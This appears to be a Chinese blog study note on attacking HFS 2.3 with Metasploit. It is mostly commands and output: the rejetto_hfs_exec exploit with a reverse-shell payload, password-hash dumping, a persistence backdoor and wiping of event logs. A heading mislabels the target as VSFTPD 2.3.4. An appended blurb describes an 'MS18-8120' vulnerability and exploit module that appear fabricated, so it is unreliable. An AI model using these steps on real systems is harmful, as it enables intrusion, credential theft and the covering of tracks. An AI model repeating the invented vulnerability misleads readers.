利用Metasploit对HFS 2.3渗透攻击提权


前言

针对HFS 2.3漏洞进行渗透测试提权(HFS:HttpFileServer)


一、Metasploit中使用数据库

开启步骤

root@kali:~# service postgresql start
root@kali:~# msfdb init

msfdb ini 初始化数据库

  • 使用msfconsole启动metasploit
  • 输入db_status检查数据库连接状态,下图为连接成功
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > Interrupt: use the 'exit' command to quit
msf6 > 

利用msf中nmap扫描,发现hfs漏洞

二、VSFTPD2.3.4渗透攻击

1.威胁建模

利用use选择该渗透模块,在用options列出参数

msf6 > search hfs

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/multi/http/git_client_command_exec  2014-12-18       excellent  No     Malicious Git and Mercurial HTTP Server For CVE-2014-9390
   1  exploit/windows/http/rejetto_hfs_exec       2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/http/rejetto_hfs_exec                                                                                     

msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > options

Module options (exploit/windows/http/rejetto_hfs_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port]
                                         [...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts fil
                                         e with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This
                                         must be an address on the local machine or 0.0.0.0 to l
                                         isten on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly g
                                         enerated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none
                                        )
   LHOST     192.168.1.113    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 192.168.1.105
rhosts => 192.168.1.105
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8080
rport => 8080

2.攻击

exploit进行攻击,虽然攻击成功但是无法显示会话,本人试了很多次没有找到原因

msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.113:4444 
[*] Using URL: http://0.0.0.0:8080/CeeoHsoKnTH0oyJ
[*] Local IP: http://192.168.1.113:8080/CeeoHsoKnTH0oyJ
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\ciBBfVI.vbs' on the target
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/rejetto_hfs_exec) > 

3.渗透持久化

修改metasploit驻留的进程号

meterpreter > geruid	#查看驻留进程号
meterpreter > ps	#列出进程号
meterpreter > migrate 1864	#修改进程号,explorer.exe
meterpreter > hashdump	#查看系统密码哈希值

控制持久化,使用persistence模块,对目标渗透主机上传一个恶意文件

meterpreter > run persistence

建立一个handler连接被控端

msf6 > use exploit/multi/handler

用set修改参数,再用exploit攻击,等待被控端启动

4.清楚渗透痕迹

meterpreter > run event_manager -i	#查看日志
meterpreter > run event_manager -c	#删除日志

总结

本文简单介绍了hfs 2.3后门漏洞的渗透攻击以及提权,本人也在学习当中,仅供参考,作为学习笔记使用,欢迎一起讨论。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
MS18-8120是一个Windows漏洞,它可以影响Windows 7 SP1 x86和x64、Windows 8.1 x86和x64、Windows Server 2008 R2 SP1、Windows Server 2012和Windows Server 2012 R2。这个漏洞是在Windows内核中存在一个缺陷,攻击者可以利用这个缺陷来升他们的限,从而执行任意代码。 下面是一些利用MS18-8120漏洞进行Windows的步骤: 1.使用Metasploit框架:Metasploit是一个开源的渗透测试框架,它可以帮助安全专业人员快速、高效地发现和利用漏洞。在这个案例中,我们将使用Metasploit框架来利用MS18-8120漏洞。 2. 扫描目标:首先,我们需要扫描目标系统以检测是否存在漏洞。使用Nmap或其他扫描工具扫描目标IP地址,如下所示: ``` nmap -sV -O targetIP ``` 3. 打开Metasploit:打开Kali Linux操作系统并打开Metasploit框架,使用以下命令: ``` msfconsole ``` 4. 搜索漏洞利用模块:在Metasploit控制台中,使用以下命令搜索与MS18-8120漏洞相关的模块: ``` search MS18-8120 ``` 5. 选择漏洞利用模块:从搜索结果中选择一个适合我们的漏洞利用模块。在这个案例中,我们将选择“exploit/windows/local/ms18_8120_dcom”,使用以下命令: ``` use exploit/windows/local/ms18_8120_dcom ``` 6. 配置漏洞利用模块:在我们使用模块之前,我们需要配置一些参数。使用以下命令来查看可用的参数: ``` show options ``` 7. 配置目标IP地址和端口号:我们需要设置目标IP地址和端口号。使用以下命令设置目标IP地址和端口号: ``` set RHOST targetIP set RPORT targetPort ``` 8. 运行漏洞利用模块:设置完参数后,使用以下命令运行漏洞利用模块: ``` run ``` 9. 检查结果:漏洞利用模块运行后,我们可以检查结果。使用以下命令检查当前用户的限: ``` getuid ``` 如果返回结果为“NT AUTHORITY\SYSTEM”,则说明我们已经成功升了我们的限。 总结: 通过使用Metasploit框架和MS18-8120漏洞利用模块,我们可以快速、高效地进行Windows攻击。但是请注意,任何未经授攻击都是非法的。只有在合法的渗透测试环境中使用这些技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我重来不说话

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值